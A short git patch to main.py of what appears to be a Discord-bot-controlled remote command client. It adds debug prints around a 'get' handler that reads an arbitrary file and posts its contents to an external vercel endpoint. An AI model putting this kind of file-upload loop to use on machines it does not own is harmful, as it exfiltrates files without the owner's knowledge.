From 158256724bfbe4fdd929e43c1bd19484345d318f Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Sun, 3 Sep 2023 13:08:15 +0800 Subject: cao --- main.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 9d61955..b8d2b62 100644 --- a/main.py +++ b/main.py @@ -70,6 +70,7 @@ while True: old_command = "" continue if command.startswith("get "): + print(1) localcmd = command.split() path = localcmd[1] try: @@ -79,8 +80,10 @@ while True: open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) file = [str(path), open("output.txt", 'rb').read()] file = "FILE " + str(file) + print(file) try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) + a = post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) + print(a) except: pass old_command = commandId -- cgit v1.2.3